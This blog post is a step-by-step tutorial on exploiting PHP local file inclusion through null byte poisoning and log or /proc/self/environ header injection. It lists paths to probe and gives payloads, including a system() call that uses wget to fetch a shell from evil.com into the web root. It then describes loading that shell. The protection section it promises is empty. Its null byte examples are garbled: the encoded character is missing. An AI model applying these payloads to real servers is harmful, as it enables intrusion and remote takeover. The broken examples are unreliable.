Today i would like to introduce you into exploiting local file inclusion on remote server using null byte poisoning
LEGAL NOTICE: ALL INFORMATION IN THIS POST COULD NOT BE USED TO EXPLOIT, THE INFORMATION IS PRESENT TO HELP WEB DEVELOPERS (like i am) TO UNDERSTAND THE SIGNIFICANCE OF PROTECTING THEIR APPLICATIONS AGAINST LOCAL FILE INCLUSION AND NULL BYTE POISONING. AGAIN! THE INFORMATION MUST BE USED ONLY IN RIGHT WAY OF ETHICAL HACKING a.k.a WHITE HAT (white hat hacker measuring a security professional)
Table of contents:
1. What is Local File Inclusion
2. What is null byte and null byte poisoning
3. Why using null byte poisoning
4. How to find local file inclusion vulnerability
5. How to find which location we have access to...
6. Preparing your own payload
7. Exploit the local file inclusion vulnerability
8. Get result of exploitation
9. Protection against Local File Inclusion we already told about
10. Other usefull places to look at
Let's we begin:)
1. What is Local File Inclusion Vulnerability
Local File Inclusion - just the name is talking by itself.
This kind of vulnerability allows you to include files located on the subject server ("target") by PHP. In other words you are able to get read access to local files. At this point you may think: "Ah, just a read of files, i will never protect against LFI so..", but no, continue reading and you will get to right point and get the knowledge How Does Servers Gets Hacked
2. What is null byte and null byte poisoning
Null byte is a NULL char, url encoded representation is , char(0) in php.
Null byte representing end of line.
Null byte poisoning is hijacking null byte into unexpected place to cause improper work of program/part of program.
3. Why using null byte poisoning
Using null byte in URL may tell the command that uses that parameter that the line is ended, so improperly escaped variable may allow to break the jail in case used as:
include($_GET['param'].'.php');In case of using http://target.com/index.php?param=/etc/passwd, we will break the jail and get to /etc/passwd if it is readable for us, otherwise we can trick the system in other ways to get the payload to successful execution and LFI exploitation. :)
4. How to find local file inclusion vulnerability
Usually file inclusion of any type detects by trying a few common strings, you can also use vulnerability scanners that may suggest whether some strange thinks are happens around one of URL parameters. to detect LFI for example in get parameter "page" or similar, that is commonly exploitable, try these:
source page: http://target.com/index.php?page=contact // we can try next modifications to see whether we have any access /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/access_ log /usr/local/apache/logs/access. log /var/log/apache/access_log /var/log/apache2/access_log /var/log/apache/access.log /var/log/apache2/access.log /var/log/access_log /var/log/access.log /var/www/logs/error_log /var/www/logs/error.log /usr/local/apache/logs/error_l og /usr/local/apache/logs/error.l og /var/log/apache/error_log /var/log/apache2/error_log /var/log/apache/error.log /var/log/apache2/error.log /var/log/error_log /var/log/error.log /proc/self/ /proc/self/environ // note: there may be unexpectedly disclosed a remote file inclusion.Try LFI scanners to simplify and speed up your process of finding local file inclusion. Any kind of encodes can be used, depends on circumstances of code.
5. How to find which location we have access to...
I don't think you need to try it manually, use automation programs, they know a lot. One of these tools is: http://lfimap.googlecode.com/files/lfimap-1.4.3.tar.gz
Also you have LFI scanner in metasploit framework.
Included such places as apache logs, cache, sql logs, processes, etc...
These tools know even more places than these commonly used from part 4.
6. Preparing your own payload
In any of the ways to exploit Local file inclusion we will use code injecting into headers being sent to server.
First if you can access the /proc/self/environ then you can see which headers being shown in there, this is the easiest way to exploit. Just sent header with evil code (php) to the server and you will execute it by showing into browser. payload can be any of the type, whether just echo, system, exec, file_get_contents, etc.
In next example i will show few of commonly used payloads, but sometimes need to be more excited ;)
// First and most commonly used
file_get_contents(remote_shell_url.txt);
// Second widely used
system("wget http://evil.com/myshell.txt -o /var/path/to/www/folder/myshell.php");
// Third is not so common, but used too
system("echo include($_GET['a']); > /tmp/mmmmmmm");
// I once fall on server that denied me to use previous
// As i am PHP coder, i made payload out of cURL that directly saved contents
// of remote file into a local file, this way shell almost always obtained:)
// i also always used the log files handlers, it is better than finding logs on server
// that is not always being found, but handler in most cases found.
7. Exploit the local file inclusion vulnerability
Ok, We sent the evil code into headers to the server, if you being used the Log File handler, you will notice of result directly, just load the fresh shell in browser and wualla!
Almost the same way with logs, assume you determined the header field that is being logged in access log and you found where the access_log is stored...
Inject the header -> LFI the access_log -> executed -> Load shell in browser.
8. Get result of exploitation
It is mentioned in paragraph 7, the final result is you (brain+skill)*time :)
9. Protection against Local File Inclusion we already told about 10. Other usefull places to look at
HTTP Configuration: /proc/self/cmdline
Log Files Handlers: /proc/self/fd/0 (where 0 can be used numbers such as 5-7), i don't really know how much they can be, but always found logs handler up to 20... sometimes it is 2,3,5,6,16,12... Play with it ;-)
Remember, Being Excited makes you unique!
Sincerely, Ruskevych Valentin
No comments:
Post a Comment